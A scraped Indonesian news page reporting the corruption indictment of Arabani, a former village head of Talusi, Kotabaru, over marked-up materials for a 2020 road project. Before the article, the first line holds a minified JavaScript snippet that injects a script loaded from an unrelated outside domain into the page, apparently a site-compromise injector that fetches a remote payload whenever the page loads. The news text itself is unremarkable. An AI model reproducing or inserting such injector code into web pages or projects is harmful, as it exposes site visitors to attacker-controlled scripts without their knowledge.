(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Mark Up Proyek Jalan Desa, Mantan Kades di Kotabaru Disidang


KANALKALIMANTAN.COM, BANJARMASIN – Seorang mantan Kepala Desa (Kades) di Kabupaten Kotabaru, Kalimantan Selatan, harus mempertanggungjawabkan perbuatannya karena terjerat kasus korupsi Anggaran Pendapatan dan Belanja Desa (APBDes) tahun 2020.

Arabani, lelaki paruh baya yang sebelumnya menjabat Kades Talusi, Kecamatan Pamukan Selatan, Kotabaru ini mulai menjalani sidang dakwaan di Pengadilan Tipikor Banjarmasin, Senin (9/10/2023) lalu.

Oleh Jaksa Penuntut Umum (JPU) Kejari Kotabaru, Arbani didakwa depan pasal 2 ayat (1) Jo Pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan UU Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi untuk dakwaan primair.

Kemudian subsider dipasang pasal 3 Jo pasal 18 UU Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Baca juga: Aksi Mahasiswa ULM di Bundaran Banjarbaru, ‘Pulihkan Kalsel’ dari Bencana

“Yang bersangkutan disangka secara melawan hukum melakukan perbuatan memperkaya diri sendiri atau orang lain atau suatu korporasi yang dapat merugikan keuangan negara,” kata Kasi Pidsus Kejari Kotabaru, Arditya Bima Yogha.

Adapun hasil audit kerugian negara pada kasus korupsi mantan Kades Pamukan tersebut dikatakan Bima yaitu sebesar Rp124.226.201.

Kasi Pidsus Kejari Kotabaru sekaligus penuntut umum pada kasus ini menjelaskan, terdakwa melakukan korupsi pada kegiatan rehabilitasi atau peningkatan pengerasan jalan di RT 4 sampai RT 6 di Desa Talusi pada tahun 2020 lalu.

“Modusnya mark up atau peningkatan harga pembelian, contohnya seperti semen, pasir dan sebagainya,” jelas Bima.

Baca juga: Serangan terhadap Warga Muslim di AS Meningkat, Polisi Dorong Untuk Berani Melapor

Sejak ditetapkan tersangka hingga proses persidangan bergulir, terdakwa mantan Kades tersebut dikatakan telah dilakukan penahanan di Lapas Kotabaru dengan status tahanan titipan.

Usai mendengar dakwaan, Arbani yang mendapatkan bantuan hukum dari Posbakum PN Banjarmasin mengaku tidak akan mengajukan eksepsi (keberatan) atas dakwaan JPU.

Karena tidak ada eksepsi, majelis hakim yang diketuai oleh Suwandi langsung memerintahkan JPU pada sidang agenda pembuktian berikutnya untuk menyiapkan saksi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.